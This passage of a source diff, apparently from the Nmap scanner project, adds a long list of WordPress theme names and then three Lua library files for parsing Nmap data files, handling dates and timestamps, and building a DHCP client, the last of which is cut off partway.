+sadakalo
+plainmagic
+minimalistic
+restaurant-pt
+whitebox
+clean-and-plain
+freizeitler-nonpurista
+tashan
+bwd-1
+ruby-the-diamond
+inblu
+shapla
+expressionblue
+gule
+myblogstheme
+faith
+vegan
+branches
+richmasterxs
+simplistic
+peony
+me3
+tswebiz
+wp-bats-theme
+prakashan
+horas
+wpcrest
+blueskool
+blogera
+seiryuu
+bornholm
+badeyes
+tswwide
+ractopress
+flation
+autoadjust
+jbst-branding
+akasse
+de-base
+the-content-blue
+respond
+nuviorevolt-blue
+vicem
+auction
+fuzz
+litesta
+persia
+tiki-time
+oxbox
+tembesi
+medispa
+rockout
+brittany-light
+enormous
+lightpress
+simple-jonathan
+louelle
+aleksandr
+zopit
+unify
+tarimon-black1
+thinlines
+exploore
+ayaspirit
+letterhead
+e
+easy-view
+threadz
+fotographia
+charitypure
+nettigo-brown
+lyndi1
+alkalia
+mydaysofamber
+waltz-with-bashir
+leo
+simpleindo
+fluvio
+skeletos
+fmagazine
+milky-way
+maiza
+figureground
+team
+tsw-clear-sky
+raze
+digu
+thin-mint
+bering
+zfirst
+oneline-lite
+lothlorien
+bourboneat
+saiph-lite
+fsk141-framework
+omaha
+tlight
+fitspiration
+zeus
+amity
+cb-blog
+thepriority
+cheap-travel
+tdblu
+simply
+31three
+marchie-candy
+kwikload
+clikki
+photopress
+simple-white-lite
+building-blocks
+so-fresh
+docu
+wp-less-is-more
+looming
+alkimia
+unique-munk
+asterion
+rohas-lite
+lana
+mnmlist
+readr
+golden
+the-lake-beneath-the-opera
+inkmag
+afia
+trendmag-lite
+glutton
+bexley
+abedul
+jakobian
+shorty
+lyretail
+florence-it
+nuvioimpress-green
+hollandex
+smile
+tdgalactica
+palabras
+tswplain
+cols
+xinxin
+metronome
+sangeet
+betilu
+serenti
+megadrive
+mise
+octothorpe
+alphas-manifesto
+stride-lite
+suzaku
+piclectic
+one
+cjanky
+bcorp-basics
+blocal
+carbon-coder
+moment
+very-english
+blackbrown
+softlights
+x-effect
+simba
+pahlawanweb
+narwhal
+kuna
+twofile
+horisontal
+sixty
+ascend
+business-hub
+portfolio-lite
+bits
+kickstart-business
+big-red-framework
+minion
+lamya
+sidespied
+lucida
+staymore
+wolf-starter
+blog-curvo
+suzzy-blue
+ultra-framework
+housepress
+knr-decorous
+teslata
+started
+jokkmokk
+rounded-blue
+pugini
+rindby
+sea-cruise
+smallbusinesswide
+blacklite
+peacock
+antonine
+illuminate
+koksijde
+kenneth
+viralline
+bodhi
+fmovies
+alpha-quintrex
+sauna-lite
+dark-shadows
+opus-latere
+jester
+eviro
+simple-grey
+meg-n-boots
+oath
+beka
+webdiary
+iflukantur
+narcissism
+griddy
+windsor-knot
+hakeem
+burger-factory
+chatroom
+new-zea
+black-gold
+light-roast
+lobeira
+kangaroo
+don
+aquasunny
+fitzgerald
+mybook
+picklewagon
+koa
+hayley
+consulting
+deshnok
+responsive-kubrick
+otzi-lite
+astrology
+the-next-lvl
+spectrumstarter
+abel-one
+mediquip-plus
+43d-records
+sunny-and-blue
+key-lock
+verity
+magazine-drome
+fremont-cut
+greatmag
+hypochondria
+santra
+skt-toothy
+hinagata
+hypermarket
+deck
+cronista
+workpress
+foxhound
+company-elite
+valazi
+advocator-lite
+pummel
+cbfour
+bookmark
+siggen
+escutcheon
+deejay
+lightblogkt
+seventy
+tsw
+bluejay
+medical-life
+kreatif
+typos
+potala
+likhh
+pena-lite
+magzen
+blogism
+mzx-static
+astra
+radon
+reginald
+the-fash-blog
+loose
+theia-lite
+passport
+open-pages
+business-express
+soft-team
+lhiam
+bootbiz-for-wedding
+bravado
+coop
+nz-scene
+rainforest
+narcissus
+sxss-droid
+senpress
+cintron
+underwood
+bizwhoop
+firnera-lite
+frindle
+envo-store
+zenearth
+bassist
+pixilate
+vacuous
+microformats
+floro
+incmag
+pdxchambers-basic
+new-estate
+mh-healthmag
+clubblog
+orbitr
+wabc
+wp-real-estate
+robot
+expire
+fusion-base
+gbs-unique
+goule
+acajou
+wedding-band
+justice
+arix
+classicrgb-lite
+o3pink
+documentaire
+treville
+best-reloaded
+cover2
+elif-lite
+the-best-blog
+writee-grid
+jgd-bizelite
+alienscience
+canary
+flexible-lite
+explora
+profine
+dax
+bezel
+blogostrap
+green-ink
+micky
+playne
+promote
+spiffy-lite
+deciduous
+chichi
+excel-blog
+education-care
+telegraph
+publisherly
+blazeblog
+academic
+eins
+spiral-notebook
+thebusiness
+techieblog
+voce
+multisport
+speculate
+manta
+business-page
+onedew
+libra
+beetech
+para-blog
+override
diff --git a/nselib/datafiles.lua b/nselib/datafiles.lua
new file mode 100644
index 0000000..ffe71f1
--- /dev/null
+++ b/nselib/datafiles.lua
@@ -0,0 +1,342 @@
+---
+-- Read and parse some of Nmap's data files: <code>nmap-protocols</code>,
+-- <code>nmap-rpc</code>, <code>nmap-services</code>, and
+-- <code>nmap-mac-prefixes</code>.
+--
+-- The functions in this module return values appropriate for use with exception
+-- handling via <code>nmap.new_try</code>. On success, they return true and
+-- the function result. On failure, they return false and an error message.
+-- @author Kris Katterjohn 03/2008
+-- @author jah 08/2008
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local io = require "io"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+-- mostly undocumented library for direct lookups in Nmap datafiles:
+local nmapdb = require "nmapdb"
+_ENV = stdnse.module("datafiles", stdnse.seeall)
+
+
+---
+-- Capture patterns for common data files, indexed by filename.
+-- @class table
+-- @name common_files
+-- @see parse_file
+local common_files = {
+ ["nmap-rpc"] = { [function(ln) return tonumber( ln:match( "^%s*[^%s#]+%s+(%d+)" ) ) end] = "^%s*([^%s#]+)%s+%d+" },
+ ["nmap-protocols"] = { [function(ln) return tonumber( ln:match( "^%s*[^%s#]+%s+(%d+)" ) ) end] = "^%s*([^%s#]+)%s+%d+" },
+ ["nmap-services"] = { ["tcp"] = { [function(ln) return tonumber( ln:match( "^%s*[^%s#]+%s+(%d+)/tcp" ) ) end] = "^%s*([^%s#]+)%s+%d+/tcp" },
+ ["udp"] = { [function(ln) return tonumber( ln:match( "^%s*[^%s#]+%s+(%d+)/udp" ) ) end] = "^%s*([^%s#]+)%s+%d+/udp" }
+ },
+ ["nmap-mac-prefixes"] = { [ "^%s*(%w+)%s+[^#]+" ] = "^%s*%w+%s+([^#]+)" }
+
+}
+
+-- Helper for parse_* functions
+local parse_and_cache = function(filename)
+ nmap.registry.datafiles = nmap.registry.datafiles or {}
+ if not nmap.registry.datafiles[filename] then
+ local status
+ status, nmap.registry.datafiles[filename] = parse_file(filename)
+ if not status then
+ return false, string.format("Error parsing %s", filename)
+ end
+ end
+
+ return true, nmap.registry.datafiles[filename]
+end
+
+
+---
+-- Read and parse <code>nmap-protocols</code>.
+--
+-- On success, return true and a table mapping protocol numbers to protocol
+-- names.
+-- @return Status (true or false).
+-- @return Table (if status is true) or error string (if status is false).
+-- @see parse_file
+parse_protocols = function()
+ return parse_and_cache("nmap-protocols")
+end
+
+
+---
+-- Read and parse <code>nmap-rpc</code>.
+--
+-- On success, return true and a table mapping RPC numbers to RPC names.
+-- @return Status (true or false).
+-- @return Table (if status is true) or error string (if status is false).
+-- @see parse_file
+parse_rpc = function()
+ return parse_and_cache("nmap-rpc")
+end
+
+local prohibited = function()
+ error("Invalid function")
+end
+local services_table = {}
+local portlookup_mt = {
+ __index = function(t, port)
+ return nmapdb.getservbyport(port, rawget(t, "proto"))
+ end,
+ __newindex = prohibited,
+}
+for _, proto in ipairs({"tcp", "udp", "sctp"}) do
+ services_table[proto] = setmetatable({proto=proto}, portlookup_mt)
+end
+
+---
+-- Read and parse <code>nmap-services</code>.
+--
+-- On success, return true and a table containing subtables indexed by the
+-- keys "tcp", "udp", and "sctp". You can
+-- pass a protocol name as an argument to <code>parse_services</code> to get
+-- only one of the results tables.
+-- @param protocol Optional: The protocol table to return (e.g. <code>"tcp"</code> or
+-- <code>"udp"</code>).
+-- @return Status (true or false).
+-- @return Table (if status is true) or error string (if status is false).
+-- @see parse_file
+parse_services = function(protocol)
+ local t
+ if protocol then
+ t = services_table[protocol]
+ if not t then
+ return false, "Bad protocol for nmap-services"
+ end
+ else
+ t = services_table
+ end
+
+ return true, t
+end
+
+
+local mac_table = setmetatable({}, {
+ __index = function(t, mac)
+ if #mac < 6 then
+ -- probably binary
+ mac = mac .. ("\0"):rep(6 - #mac)
+ elseif #mac < 12 then
+ -- probably hex
+ mac = mac .. ("0"):rep(12 - #mac)
+ end
+ return nmapdb.mac2corp(mac)
+ end,
+ __newindex = prohibited,
+})
+---
+-- Read and parse <code>nmap-mac-prefixes</code>.
+--
+-- On success, return true and a table mapping MAC prefixes to manufacturer
+-- names. The whole MAC can also be used as a key, since the table calls an
+-- internal Nmap function to do the lookup.
+-- @return Status (true or false).
+-- @return Table (if status is true) or error string (if status is false).
+-- @see parse_file
+parse_mac_prefixes = function()
+ return true, mac_table
+end
+
+
+---
+-- Read and parse a generic data file. The other parse functions are
+-- defined in terms of this one.
+--
+-- If filename is a key in <code>common_files</code>, use the corresponding
+-- capture pattern. Otherwise the second argument must be a table of the kind
+-- taken by <code>parse_lines</code>.
+-- @param filename Name of the file to parse.
+-- @param ... A table of capture patterns.
+-- @return Boolean status, false on failure
+-- @return A table whose structure mirrors that of the capture table,
+-- filled in with captured values.
+function parse_file(filename, ...)
+
+ local data_struct
+
+ -- must have a filename
+ if type( filename ) ~= "string" or filename == "" then
+ return false, "Error in datafiles.parse_file: No file to parse."
+ end
+
+ -- is filename a member of common_files? is second parameter a key in common_files or is it a table?
+ if common_files[filename] and type( (...) ) == "string" and common_files[filename][(...)] then
+ data_struct = { common_files[filename][(...)] }
+ elseif common_files[filename] and select("#", ...) == 0 then
+ data_struct = { common_files[filename] }
+ elseif type( (...) ) == "table" then
+ data_struct = {...}
+ elseif type( (...) ) ~= "table" then
+ return false, "Error in datafiles.parse_file: Expected second parameter as table."
+ end
+
+ if type( data_struct ) == "table" then
+ for i, struc in ipairs( data_struct ) do
+ -- check that all varargs are tables
+ if type( struc ) ~= "table" then return false, "Error in datafiles.parse_file: Bad Parameter." end
+ -- allow empty table as sugar for ^(.+)$ capture the whole line
+ if not next( struc ) and #struc == 0 then data_struct[i] = { "^(.+)$" } end
+ end
+ if #data_struct == 0 then
+ return false, "Error in datafiles.parse_file: I've no idea how you want your data."
+ end
+ end
+
+ -- get a table of lines
+ local status, lines = read_from_file( filename )
+ if not status then
+ return false, ( "Error in datafiles.parse_file: %s could not be read: %s." ):format( filename, lines )
+ end
+
+ -- do the actual parsing
+ local ret = {}
+ for _, ds in ipairs( data_struct ) do
+ status, ret[#ret+1] = parse_lines( lines, ds )
+ -- hmmm should we fail all if there are any failures? yes? ok
+ if not status then return false, ret[#ret] end
+ end
+
+ return true, table.unpack( ret )
+
+end
+
+
+---
+-- Generic parsing of an array of strings.
+-- @param lines An array of strings to operate on.
+-- @param data_struct A table containing capture patterns to be applied
+-- to each string in the array. A capture will be applied to each string
+-- using <code>string.match</code> and may also be enclosed within a table or
+-- a function. If a function, it must accept a string as its parameter and
+-- should return one value derived from that string.
+-- @return A table whose structure mirrors that of the capture table,
+-- filled in with captured values.
+function parse_lines(lines, data_struct)
+
+ if type( lines ) ~= "table" or #lines < 1 then
+ return false, "Error in datafiles.parse_lines: No lines to parse."
+ end
+
+ if type( data_struct ) ~= "table" or not next( data_struct ) then
+ return false, "Error in datafiles.parse_lines: Expected second parameter as a non-empty table."
+ end
+
+ local ret = {}
+
+ -- traverse data_struct and enforce sensible index-value pairs. Call functions to process the members of lines.
+ for index, value in pairs( data_struct ) do
+ if type(index) == nil then return false, "Error in datafiles.parse_lines: Invalid index." end
+ if type(index) == "number" or type(value) == "table" then
+ if type(value) == "number" then
+ return false, "Error in datafiles.parse_lines: No patterns for data capture."
+ elseif type(value) == "string" or type(value) == "function" then
+ ret = get_array( lines, value )
+ elseif type(value) == "table" then
+ local _
+ _, ret[index] = parse_lines( lines, value )
+ else
+ -- TEMP
+ stdnse.debug1("Error in datafiles.parse_lines: Index with type %s has unexpected value %s", type(index), type(value))
+ end
+ elseif type(index) == "string" or type(index) == "function" then
+ if type( value ) == "string" or type( value ) == "function" then
+ ret = get_assoc_array( lines, index, value )
+ else
+ return false, ( "Error in datafiles.parse_lines: Invalid value for index %s." ):format( index )
+ end
+ else
+ -- TEMP
+ stdnse.debug1("Error in datafiles.parse_lines: Index with type %s has unexpected value %s", type(index), type(value))
+ end
+ end
+
+ return true, ret
+
+end
+
+
+---
+-- Read a file, line by line, into a table.
+-- @param file String with the name of the file to read.
+-- @return Status (true or false).
+-- @return Array of lines read from the file (if status is true) or error
+-- message (if status is false).
+function read_from_file( file )
+
+ -- get path to file
+ local filepath = nmap.fetchfile( file )
+ if not filepath then
+ return false, ( "Error in nmap.fetchfile: Could not find file %s." ):format( file )
+ end
+
+ local f, err, _ = io.open( filepath, "r" )
+ if not f then
+ return false, ( "Error in datafiles.read_from_file: Cannot open %s for reading: %s" ):format( filepath, err )
+ end
+
+ local ret = {}
+ for line in f:lines() do
+ ret[#ret+1] = line
+ end
+
+ f:close()
+
+ return true, ret
+
+end
+
+
+---
+-- Return an array-like table of values captured from each line.
+-- @param lines Table of strings containing the lines to process.
+-- @param v_pattern Pattern to use on the lines to produce the value for the
+-- array.
+get_array = function(lines, v_pattern)
+ local ret = {}
+ for _, line in ipairs( lines ) do
+ assert( type( line ) == "string" )
+ local captured
+ if type( v_pattern ) == "function" then
+ captured = v_pattern( line )
+ else
+ captured = line:match( v_pattern )
+ end
+ table.insert( ret, captured )
+ end
+ return ret
+end
+
+
+---
+-- Return a table of index-value pairs captured from each line.
+-- @param lines Table of strings containing the lines to process.
+-- @param i_pattern Pattern to use on the lines to produce the key for the
+-- associative array.
+-- @param v_pattern Pattern to use on the lines to produce the value for the
+-- associative array.
+get_assoc_array = function(lines, i_pattern, v_pattern)
+ local ret = {}
+ for _, line in ipairs(lines) do
+ assert( type( line ) == "string" )
+ local index
+ if type(i_pattern) == "function" then
+ index = i_pattern(line)
+ else
+ index = line:match(i_pattern)
+ end
+ if index and type(v_pattern) == "function" then
+ local m = v_pattern(line)
+ if m then ret[index] = m end
+ elseif index then
+ local m = line:match(v_pattern)
+ if m then ret[index] = m end
+ end
+ end
+ return ret
+end
+
+return _ENV;
diff --git a/nselib/datetime.lua b/nselib/datetime.lua
new file mode 100644
index 0000000..d6e1cbb
--- /dev/null
+++ b/nselib/datetime.lua
@@ -0,0 +1,252 @@
+--- Functions for dealing with dates and timestamps
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name datetime
+-- @author Daniel Miller
+
+local stdnse = require "stdnse"
+local os = require "os"
+local math = require "math"
+local string = require "string"
+_ENV = stdnse.module("datetime", stdnse.seeall)
+
+local difftime = os.difftime
+local time = os.time
+local date = os.date
+
+local floor = math.floor
+local fmod = math.fmod
+
+local format = string.format
+local match = string.match
+
+--- Record a time difference between the scanner and the target
+--
+-- The skew will be recorded in the host's registry for later retrieval and
+-- analysis. Adjusts for network distance by subtracting half the smoothed
+-- round-trip time.
+--
+--@param host The host being scanned
+--@param timestamp The target timestamp, in seconds.
+--@param received The local time the stamp was received, in seconds.
+function record_skew(host, timestamp, received)
+ local skew_tab = host.registry.datetime_skew
+ skew_tab = skew_tab or {}
+ -- No srtt? I suppose we'll ignore it, but this could cause problems
+ local srtt = host.times and host.times.srtt or 0
+ local adjusted = difftime(floor(timestamp), floor(received)) - srtt / 2.0
+ skew_tab[#skew_tab + 1] = adjusted
+ stdnse.debug2("record_skew: %s", adjusted)
+ host.registry.datetime_skew = skew_tab
+end
+
+-- Work around Windows error formatting time zones where 1970/1/1 UTC was 1969/12/31
+local utc_offset_seconds
+do
+ -- What does the calendar say locally?
+ local localtime = date("*t", 86400)
+ -- What does the calendar say in UTC?
+ local gmtime = date("!*t", 86400)
+ -- Interpret both as local calendar dates and find the difference.
+ utc_offset_seconds = difftime(time(localtime), time(gmtime))
+end
+
+-- The offset in seconds between local time and UTC.
+--
+-- That is, if we interpret a UTC date table as a local date table by passing
+-- it to os.time, how much must be added to the resulting integer timestamp to
+-- make it correct?
+--
+-- In other words, subtract this value from a timestamp if you intend to use it
+-- in os.date.
+function utc_offset() return utc_offset_seconds end
+
+--- Convert a date table into an integer timestamp.
+--
+-- Unlike os.time, this does not assume that the date table represents a local
+-- time. Rather, it takes an optional offset number of seconds representing the
+-- time zone, and returns the timestamp that would result using that time zone
+-- as local time. If the offset is omitted or 0, the date table is interpreted
+-- as a UTC date. For example, 4:00 UTC is the same as 5:00 UTC+1:
+-- <code>
+-- date_to_timestamp({year=1970,month=1,day=1,hour=4,min=0,sec=0}) --> 14400
+-- date_to_timestamp({year=1970,month=1,day=1,hour=4,min=0,sec=0}, 0) --> 14400
+-- date_to_timestamp({year=1970,month=1,day=1,hour=5,min=0,sec=0}, 1*60*60) --> 14400
+-- </code>
+-- And 4:00 UTC+1 is an earlier time:
+-- <code>
+-- date_to_timestamp({year=1970,month=1,day=1,hour=4,min=0,sec=0}, 1*60*60) --> 10800
+-- </code>
+function date_to_timestamp(date_t, offset)
+ local status, tm = pcall(time, date_t)
+ if not status then
+ stdnse.debug1("Invalid date for this platform: %s", tm)
+ return nil
+ end
+ offset = offset or 0
+ return tm + utc_offset() - offset
+end
+
+local function format_tz(offset)
+ local sign, hh, mm
+
+ if not offset then
+ return ""
+ end
+ if offset < 0 then
+ sign = "-"
+ offset = -offset
+ else
+ sign = "+"
+ end
+ -- Truncate to minutes.
+ offset = floor(offset / 60)
+ hh = floor(offset / 60)
+ mm = floor(fmod(offset, 60))
+
+ return format("%s%02d:%02d", sign, hh, mm)
+end
+--- Format a date and time (and optional time zone) for structured output.
+--
+-- Formatting is done according to RFC 3339 (a profile of ISO 8601), except
+-- that a time zone may be omitted to signify an unspecified local time zone.
+-- Time zones are given as an integer number of seconds from UTC. Use
+-- <code>0</code> to mark UTC itself. Formatted strings with a time zone look
+-- like this:
+-- <code>
+-- format_timestamp(os.time(), 0) --> "2012-09-07T23:37:42+00:00"
+-- format_timestamp(os.time(), 2*60*60) --> "2012-09-07T23:37:42+02:00"
+-- </code>
+-- Without a time zone they look like this:
+-- <code>
+-- format_timestamp(os.time()) --> "2012-09-07T23:37:42"
+-- </code>
+--
+-- This function should be used for all dates emitted as part of NSE structured
+-- output.
+function format_timestamp(t, offset)
+ if type(t) == "table" then
+ return format(
+ "%d-%02d-%02dT%02d:%02d:%02d",
+ t.year, t.month, t.day, t.hour, t.min, t.sec
+ )
+ else
+ local tz_string = format_tz(offset)
+ offset = offset or 0
+ local status, result = pcall(date, "!%Y-%m-%dT%H:%M:%S", floor(t + offset))
+ if not status then
+ local tmp = floor(t + offset)
+ local extra_years
+ local seconds_in_year = 31556926
+ if tmp > 0xffffffff then
+ -- Maybe too far in the future?
+ extra_years = (tmp - 0xffffffff) // seconds_in_year + 1
+ elseif tmp < -utc_offset() then
+ -- Windows can't display times before the epoch
+ extra_years = tmp // seconds_in_year
+ end
+ if extra_years then
+ tmp = tmp - extra_years * seconds_in_year
+ status, result = pcall(date, "!*t", tmp)
+ if status then
+ -- seconds_in_year is imprecise, so we truncate to date only
+ result = format("%d-%02d-%02d?", result.year + extra_years, result.month, result.day)
+ end
+ end
+ end
+ if not status then
+ return ("Invalid timestamp: %s"):format(t)
+ end
+ return result .. tz_string
+ end
+end
+
+--- Format a time interval into a string
+--
+-- String is in the same format as format_difftime
+-- @param interval A time interval
+-- @param unit The time unit division as a number. If <code>interval</code> is
+-- in milliseconds, this is 1000 for instance. Default: 1 (seconds)
+-- @return The time interval in string format
+function format_time(interval, unit)
+ local sign = ""
+ if interval < 0 then
+ sign = "-"
+ interval = math.abs(interval)
+ end
+ unit = unit or 1
+ local precision = floor(math.log(unit, 10))
+
+ local sec = (interval % (60 * unit)) / unit
+ interval = interval // (60 * unit)
+ local min = interval % 60
+ interval = interval // 60
+ local hr = interval % 24
+ interval = interval // 24
+
+ local s = format("%.0fd%02.0fh%02.0fm%02.".. precision .."fs",
+ interval, hr, min, sec)
+ -- trim off leading 0 and "empty" units
+ return sign .. (match(s, "([1-9].*)") or format("%0.".. precision .."fs", 0))
+end
+
+--- Format the difference between times <code>t2</code> and <code>t1</code>
+-- into a string
+--
+-- String is in one of the forms (signs may vary):
+-- * 0s
+-- * -4s
+-- * +2m38s
+-- * -9h12m34s
+-- * +5d17h05m06s
+-- * -2y177d10h13m20s
+-- The string shows <code>t2</code> relative to <code>t1</code>; i.e., the
+-- calculation is <code>t2</code> minus <code>t1</code>.
+function format_difftime(t2, t1)
+ local d, s, sign, yeardiff
+
+ d = difftime(time(t2), time(t1))
+ if d > 0 then
+ sign = "+"
+ elseif d < 0 then
+ sign = "-"
+ t2, t1 = t1, t2
+ d = -d
+ else
+ sign = ""
+ end
+ -- t2 is always later than or equal to t1 here.
+
+ -- The year is a tricky case because it's not a fixed number of days
+ -- the way a day is a fixed number of hours or an hour is a fixed
+ -- number of minutes. For example, the difference between 2008-02-10
+ -- and 2009-02-10 is 366 days because 2008 was a leap year, but it
+ -- should be printed as 1y0d0h0m0s, not 1y1d0h0m0s. We advance t1 to be
+ -- the latest year such that it is still before t2, which means that its
+ -- year will be equal to or one less than t2's. The number of years
+ -- skipped is stored in yeardiff.
+ if t2.year > t1.year then
+ local tmpyear = t1.year
+ -- Put t1 in the same year as t2.
+ t1.year = t2.year
+ d = difftime(time(t2), time(t1))
+ if d < 0 then
+ -- Too far. Back off one year.
+ t1.year = t2.year - 1
+ d = difftime(time(t2), time(t1))
+ end
+ yeardiff = t1.year - tmpyear
+ t1.year = tmpyear
+ else
+ yeardiff = 0
+ end
+
+ local s = format_time(d)
+ if yeardiff == 0 then return sign .. s end
+ -- Years.
+ s = format("%dy", yeardiff) .. s
+ return sign .. s
+end
+
+return _ENV
diff --git a/nselib/dhcp.lua b/nselib/dhcp.lua
new file mode 100644
index 0000000..73b453a
--- /dev/null
+++ b/nselib/dhcp.lua
@@ -0,0 +1,648 @@
+---Implement a Dynamic Host Configuration Protocol (DHCP) client.
+--
+-- DHCP, defined in rfc2132 and rfc2131, is a protocol for hosts to automatically
+-- configure themselves on a network (that is, obtain an ip address). This library,
+-- which have a trivial one-function interface, can send out DHCP packets of many
+-- types and parse the responses.
+--
+-- @author Ron Bowes
+
+--
+-- 2011-12-28 - Revised by Patrik Karlsson <patrik@cqure.net>
+-- o Split dhcp_send into dhcp_send, dhcp_receive
+-- o Added basic support for adding options to requests
+-- o Added possibility to override transaction id
+-- o Added WPAD action
+
+local datetime = require "datetime"
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local strbuf = require "strbuf"
+local table = require "table"
+local tableaux = require "tableaux"
+_ENV = stdnse.module("dhcp", stdnse.seeall)
+
+
+request_types =
+{
+ DHCPDISCOVER = 1,
+ DHCPOFFER = 2,
+ DHCPREQUEST = 3,
+ DHCPDECLINE = 4,
+ DHCPACK = 5,
+ DHCPNAK = 6,
+ DHCPRELEASE = 7,
+ DHCPINFORM = 8
+}
+
+request_types_str = tableaux.invert(request_types)
+
+---Read an IP address or a list of IP addresses. Print an error if the length isn't a multiple of 4.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_ip(data, pos, length)
+ if(length ~= 4) then
+ if((length % 4) ~= 0) then
+ stdnse.debug1("dhcp-discover: Invalid length for an ip address (%d)", length)
+ pos = pos + length
+
+ return pos, nil
+ else
+ local results = {}
+ for i=1, length, 4 do
+ local value
+ value, pos = string.unpack(">I4", data, pos)
+ table.insert(results, ipOps.fromdword(value))
+ end
+
+ return pos, results
+ end
+ else
+ local value
+ value, pos = string.unpack(">I4", data, pos)
+
+ return pos, ipOps.fromdword(value)
+ end
+end
+
+---Read a string. The length of the string is given by the length field.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_string(data, pos, length)
+ local value, pos = string.unpack(("c%d"):format(length), data, pos)
+ return pos, value
+end
+
+---Read a single byte. Print an error if the length isn't 1.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_1_byte(data, pos, length)
+ if(length ~= 1) then
+ stdnse.debug1("dhcp-discover: Invalid length for data (%d; should be %d)", length, 1)
+ pos = pos + length
+ return pos, nil
+ end
+ local value, pos = string.unpack("B", data, pos)
+ return pos, value
+end
+
+---Read a message type. This is a single-byte value that's looked up in the <code>request_types_str</code>
+-- table. Print an error if the length isn't 1.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_message_type(data, pos, length)
+ local value
+
+ pos, value = read_1_byte(data, pos, length)
+ if(value == nil) then
+ stdnse.debug1("dhcp-discover: Couldn't read the 1-byte message type")
+ return pos, nil
+ end
+
+ return pos, request_types_str[value]
+end
+
+---Read a single byte, and return 'false' if it's 0, or 'true' if it's non-zero. Print an error if the
+-- length isn't 1.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_boolean(data, pos, length)
+ local result
+ pos, result = read_1_byte(data, pos, length)
+
+ if(result == nil) then
+ stdnse.debug1("dhcp-discover: Couldn't read the 1-byte boolean")
+ return pos, nil
+ elseif(result == 0) then
+ return pos, "false"
+ else
+ return pos, "true"
+ end
+end
+
+---Read a 2-byte unsigned little endian value. Print an error if the length isn't 2.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_2_bytes(data, pos, length)
+ if(length ~= 2) then
+ stdnse.debug1("dhcp-discover: Invalid length for data (%d; should be %d)", length, 2)
+ pos = pos + length
+ return pos, nil
+ end
+ local value, pos = string.unpack(">I2", data, pos)
+ return pos, value
+end
+
+
+---Read a list of 2-byte unsigned little endian values. Print an error if the length isn't a multiple
+-- of 2.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_2_bytes_list(data, pos, length)
+ if((length % 2) ~= 0) then
+ stdnse.debug1("dhcp-discover: Invalid length for data (%d; should be multiple of %d)", length, 2)
+ pos = pos + length
+
+ return pos, nil
+ else
+ local results = {}
+ for i=1, length, 2 do
+ local value
+ value, pos = string.unpack(">I2", data, pos)
+ table.insert(results, value)
+ end
+
+ return pos, results
+ end
+end
+
+
+---Read a 4-byte unsigned little endian value. Print an error if the length isn't 4.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_4_bytes(data, pos, length)
+ if(length ~= 4) then
+ stdnse.debug1("dhcp-discover: Invalid length for data (%d; should be %d)", length, 4)
+ pos = pos + length
+ return pos, nil
+ end
+ local value, pos = string.unpack(">I4", data, pos)
+ return pos, value
+end
+
+---Read a 4-byte unsigned little endian value, and interpret it as a time offset value. Print an
+-- error if the length isn't 4.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_time(data, pos, length)
+ local result
+ if(length ~= 4) then
+ stdnse.debug1("dhcp-discover: Invalid length for data (%d; should be %d)", length, 4)
+ pos = pos + length
+ return pos, nil
+ end
+ result, pos = string.unpack(">I4", data, pos)
+
+ return pos, datetime.format_time(result)
+end
+
+---Read a list of static routes. Each of them are a pair of IP addresses, a destination and a
+-- router. Print an error if the length isn't a multiple of 8.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_static_route(data, pos, length)
+ if((length % 8) ~= 0) then
+ stdnse.debug1("dhcp-discover: Invalid length for data (%d; should be multiple of %d)", length, 8)
+ pos = pos + length
+
+ return pos, nil
+ else
+ local results = {}
+ for i=1, length, 8 do
+ local destination, router
+ pos, destination = read_ip(data, pos, 4)
+ pos, router = read_ip(data, pos, 4)
+ table.insert(results, {destination=destination, router=router})
+ end
+
+ return pos, results
+ end
+end
+
+---Read a list of policy filters. Each of them are a pair of IP addresses, an address and a
+-- mask. Print an error if the length isn't a multiple of 8.
+--
+--@param data The packet.
+--@param pos The position in the packet.
+--@param length The length that the server claims the field is.
+--@return The new position (will always be pos + length, no matter what we think it should be)
+--@return The value of the field, or nil if the field length was wrong.
+local function read_policy_filter(data, pos, length)
+ if((length % 8) ~= 0) then
+ stdnse.debug1("dhcp-discover: Invalid length for data (%d; should be multiple of %d)", length, 8)
+ pos = pos + length
+
+ return pos, nil
+ else
+ local results = {}
+ for i=1, length, 8 do
+ local address, router, mask
+ pos, address = read_ip(data, pos, 4)
+ pos, mask = read_ip(data, pos, 4)
+ table.insert(results, {address=address, mask=mask})
+ end
+
+ return pos, results
+ end
+end
+
